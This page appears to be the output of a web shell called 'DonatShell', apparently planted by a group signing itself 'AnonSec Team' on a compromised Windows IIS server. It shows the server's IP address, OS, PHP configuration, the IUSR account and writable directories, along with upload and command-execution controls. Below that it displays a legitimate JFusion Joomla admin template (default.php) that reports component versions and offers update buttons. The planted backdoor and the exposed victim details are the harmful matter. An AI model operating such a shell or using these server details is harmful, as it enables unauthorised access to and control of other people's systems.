DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /AppServ/www/news/administrator/components/com_jfusion/views/versioncheck/tmpl/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /AppServ/www/news/administrator/components/com_jfusion/views/versioncheck/tmpl/default.php
<?php

/**
 * This is view file for versioncheck
 *
 * PHP version 5
 *
 * @category   JFusion
 * @package    ViewsAdmin
 * @subpackage Versioncheck
 * @author     JFusion Team <webmaster@jfusion.org>
 * @copyright  2008 JFusion. All rights reserved.
 * @license    http://www.gnu.org/copyleft/gpl.html GNU/GPL
 * @link       http://www.jfusion.org
 */
// no direct access
defined('_JEXEC') or die('Restricted access');
//display the paypal donation button
JFusionFunctionAdmin::displayDonate();
?>
<style type="text/css">
    tr.good0 { background-color: #ecfbf0; }
    tr.good1 { background-color: #d9f9e2; }
    tr.bad0 { background-color: #f9ded9; }
    tr.bad1 { background-color: #f9e5e2; }
</style>

<table class="adminform" style="border-spacing:1px;">
    <thead>
        <tr>
            <th class="title" align="left">
                <?php echo JText::_('SERVER_SOFTWARE'); ?>
            </th>
            <th class="title" align="center">
                <?php echo JText::_('YOUR_VERSION'); ?>
            </th>
            <th class="title" align="center">
                <?php echo JText::_('MINIMUM_VERSION'); ?>
            </th>
        </tr>
    </thead>
    <tbody>
    <?php
    $row_count = 0;
    foreach ($this->system as $software) {
        ?>
        <tr class="<?php echo $software->class.($row_count % 2);?>">
            <td>
                <?php echo $software->name; ?>
            </td>
            <td>
                <?php echo $software->oldversion; ?>
            </td>
            <td>
                <?php echo $software->version ;?>
            </td>
        </tr>
        <?php
        $row_count++;
    }
    ?>
    </tbody>
</table>
<?php
if ($this->server_compatible) {
//output the good news
    ?>
<table style="background-color: #d9f9e2; width: 100%;">
    <tr>
        <td>
            <img src="components/com_jfusion/images/check_good.png">
        </td>
        <td>
            <h2>
                <?php echo JText::_('SERVER_UP2DATE'); ?>
            </h2>
        </td>
    </tr>
</table>

<?php
} else {
//output the bad news and automatic upgrade option
    ?>
<table style="background-color:#f9ded9;">
    <tr>
        <td width="50px">
            <img src="components/com_jfusion/images/check_bad.png">
        </td>
        <td>
            <h2>
                <?php echo JText::_('SERVER_OUTDATED'); ?>
            </h2>
        </td>
    </tr>
</table>
<?php
}
?>

<br/><br/>
<table class="adminform" style="border-spacing:1px;">
    <thead>
    <tr>
        <th class="title" align="left">
            <?php echo JText::_('JFUSION_SOFTWARE'); ?>
        </th>
        <th class="title" align="center">
		    <?php echo JText::_('DATE'); ?>
        </th>
        <th class="title" align="center">
            <?php echo JText::_('YOUR_VERSION'); ?>
        </th>
        <th class="title" align="center">
		    <?php echo JText::_('DATE'); ?>
        </th>
        <th class="title" align="center">
            <?php echo JText::_('CURRENT_VERSION'); ?>
        </th>
    </tr>
    </thead>
    <tbody>
    <?php
    foreach ($this->components as $component) {
        ?>
    <tr class="<?php echo $component->class.($row_count % 2);?>">
        <td>
            <?php echo JText::_('JFUSION') . ' ' . $component->name . ' ' . JText::_('VERSION') ;?>
        </td>
        <td>
		    <?php
	        if ($component->olddate) {
		        $date =& JFactory::getDate($component->olddate);
		        echo $date->toFormat();
	        } else {
		        echo JText::_('UNKNOWN');
	        }
		    ?>
        </td>
        <td>
            <?php
            echo $component->oldversion;
            if ($component->oldrev) {
                echo ' Rev ( '.substr($component->oldrev,0,8).'... )';
            }
            ?>
        </td>
        <td>
		    <?php
	        if ($component->date) {
		        $date =& JFactory::getDate($component->date);
		        echo $date->toFormat();
	        } else {
		        echo JText::_('UNKNOWN');
	        }
		    ?>
        </td>
        <td>
            <?php
            echo $component->version;
            if ($component->rev) {
                echo ' Rev ( '.substr($component->rev,0,8).'... )';
            }
            ?>

            <?php
            if ($component->updateurl) {
                ?>
                <script type="text/javascript">
                    <!--
                    window.addEvent('domready',function() {
                        $('<?php echo $component->name ;?>').addEvent('click', function(e) {
                            new Event(e).stop();

                            confirmSubmit('<?php echo $component->updateurl; ?>');
                        });
                    });
                    // -->
                </script>

                <a id="<?php echo $component->name ?>" href="<?php echo $component->updateurl; ?>"><?php echo JText::_('UPDATE') ;?></a> / <a href="<?php echo $component->updateurl; ?>"><?php echo JText::_('DOWNLOAD') ;?></a>

                <?php
            }
            ?>
        </td>
    </tr>
        <?php
        $row_count++;
    }
    ?>
    </tbody>
</table>
<br/>

<table class="adminform" style="border-spacing:1px;">
    <thead>
    <tr>
        <th class="title" align="left">
            <?php echo JText::_('JFUSION_PLUGINS'); ?>
        </th>
        <th class="title" align="center">
		    <?php echo JText::_('DATE'); ?>
        </th>
        <th class="title" align="center">
            <?php echo JText::_('YOUR_VERSION'); ?>
        </th>
        <th class="title" align="center">
		    <?php echo JText::_('DATE'); ?>
        </th>
        <th class="title" align="center">
            <?php echo JText::_('CURRENT_VERSION'); ?>
        </th>
    </tr>
    </thead>
    <tbody>
    <?php
    foreach ($this->jfusion_plugins as $jfusion_plugin) {
        ?>
    <tr class="<?php echo $jfusion_plugin->class.($row_count % 2);?>">
        <td>
            <?php echo $jfusion_plugin->name;?>
        </td>
        <td>
		    <?php
		    if ($jfusion_plugin->olddate) {
			    $date =& JFactory::getDate($jfusion_plugin->olddate);
			    echo $date->toFormat();
		    } else {
			    echo JText::_('UNKNOWN');
		    }
		    ?>
        </td>
        <td>
            <?php
            echo $jfusion_plugin->oldversion;
            if ($jfusion_plugin->oldrev) {
                echo ' Rev ( '.substr($jfusion_plugin->oldrev,0,8).'... )';
            }
            ?>
        </td>
        <td>
		    <?php
	        if ($jfusion_plugin->date) {
		        $date =& JFactory::getDate($jfusion_plugin->date);
		        echo $date->toFormat();
	        } else {
		        echo JText::_('UNKNOWN');
	        }
		    ?>
        </td>
        <td>
            <?php
            echo $jfusion_plugin->version;
            if ($jfusion_plugin->rev) {
                echo ' Rev ( '.substr($jfusion_plugin->rev,0,8).'... )';
            }
            ?>
            <?php
            if ($jfusion_plugin->updateurl) {
                ?>
                <script type="text/javascript">
                    <!--
                    window.addEvent('domready',function() {
                        $('<?php echo $jfusion_plugin->id ?>').addEvent('click', function(e) {
                            new Event(e).stop();

                            confirmSubmitPlugin('<?php echo $jfusion_plugin->updateurl; ?>');
                        });
                    });
                    // -->
                </script>

                <a id="<?php echo $jfusion_plugin->id ?>" href="<?php echo $jfusion_plugin->updateurl; ?>"><?php echo JText::_('UPDATE') ;?></a> / <a href="<?php echo $jfusion_plugin->updateurl; ?>"><?php echo JText::_('DOWNLOAD') ;?></a>
                <?php
            }
            ?>
    </tr>
        <?php
        $row_count++;
    }
    ?>
    </tbody>
</table>
<?php
if ($this->up2date) {
    //output the good news
    ?>
<table style="background-color:#d9f9e2;width:100%;">
    <tr>
        <td>
            <img src="components/com_jfusion/images/check_good.png">
        <td>
            <h2>
                <?php echo JText::_('JFUSION_UP2DATE'); ?>
            </h2>
        </td>
    </tr>
</table>
<?php
} else {
    //output the bad news and automatic upgrade option
    ?>
<table style="background-color:#f9ded9;">
    <tr>
        <td width="50px">
            <img src="components/com_jfusion/images/check_bad.png">
        </td>
        <td>
            <h2>
                <?php echo JText::_('JFUSION_OUTDATED'); ?>
            </h2>
        </td>
    </tr>
</table>
<br/><br/>

<?php
}
?>
<br/><br/><br/>
<table style="background-color:#ffffce;width:100%;">
    <tr>
        <td width="50px">
            <img src="components/com_jfusion/images/advanced.png" height="75" width="75">
        </td>
        <td>
            <h3>
                <?php echo JText::_('ADVANCED') . ' ' . JText::_('VERSION') . ' ' . JText::_('MANAGEMENT'); ?>
            </h3>
            <script type="text/javascript">
                <!--
                function confirmSubmitPlugin(url)
                {
                    var r = false;
                    var confirmtext = '<?php echo JText::_('UPGRADE_CONFIRM_PLUGIN'); ?> '+url;

                    var agree = confirm(confirmtext);
                    if (agree) {
	                    var installPLUGIN = $('installPLUGIN');
                        installPLUGIN.installPLUGIN_url.value = url;
                        installPLUGIN.submit();
                        r = true;
                    }
                    return r;
                }

                function confirmSubmit(action)
                {
                    var r = false;
                    var installurl,confirmtext;
	                var install = $('install');
                    if (action == 'build') {
                        confirmtext = '<?php echo JText::_('UPGRADE_CONFIRM_BUILD'); ?>';
                        installurl = 'https://github.com/jfusion/org.jfusion.jfusion/raw/release/jfusion_package.zip';
                    } else if (action == 'git') {
                        confirmtext = '<?php echo JText::_('UPGRADE_CONFIRM_GIT'); ?> ' + install.git_tree.value;
                        installurl = 'https://github.com/jfusion/org.jfusion.jfusion/raw/' + install.git_tree.value + '/jfusion_package.zip';
                    } else {
                        confirmtext = '<?php echo JText::_('UPGRADE_CONFIRM_RELEASE') . ' ' . $this->JFusionVersion; ?>';
                        installurl = action;
                    }

                    var agree = confirm(confirmtext);
                    if (agree) {
                        install.install_url.value = installurl;
                        install.submit();
                        r = true;
                    }
                    return r;
                }

                window.addEvent('domready',function() {
                    $('build').addEvent('click', function(e) {
                        confirmSubmit('build');
                    });

                    $('git').addEvent('click', function(e) {
                        confirmSubmit('git');
                    });
                });
                // -->
            </script>

            <form enctype="multipart/form-data" action="index.php" method="post" id="install" name="install">
                <input type="hidden" name="install_url" value="" />
                <input type="hidden" name="type" value="" />
                <input type="hidden" name="installtype" value="url" />
                <?php if(JFusionFunction::isJoomlaVersion('1.6')){ ?>
                <input type="hidden" name="task" value="install.install" />
                <?php } else { ?>
                <input type="hidden" name="task" value="doInstall" />
                <?php } ?>
                <input type="hidden" name="option" value="com_installer" />
                <?php echo JHTML::_('form.token'); ?>
                <b>
                    <?php echo JText::_('ADVANCED_WARNING'); ?>
                </b>
                <br/>
                <input id="build" type="button" value="<?php echo JText::_('INSTALL') . ' ' . JText::_('LATEST') . ' ' . JText::_('DEVELOPMENT') . ' ' . JText::_('RELEASE'); ?>"/>
                <br/>
                Git Tree:
                <input type="text" name="git_tree" size="40"/>
                <input id="git" type="button" value="<?php echo JText::_('INSTALL') . ' ' . JText::_('SPECIFIC') . ' Git Tree'; ?>"/>
                <br/>
            </form>

            <form id="installPLUGIN" method="post" action="index.php" enctype="multipart/form-data">
                <input type="hidden" name="option" value="com_jfusion" />
                <input type="hidden" name="task" value="installplugin" />
                <input type="hidden" name="installtype" value="url" />
                <input type="hidden" id="installPLUGIN_url" name="install_url" class="input_box" size="150" value="" />
            </form>
        </td>
    </tr>
</table>
<br/><br/>

Anon7 - 2022
AnonSec Team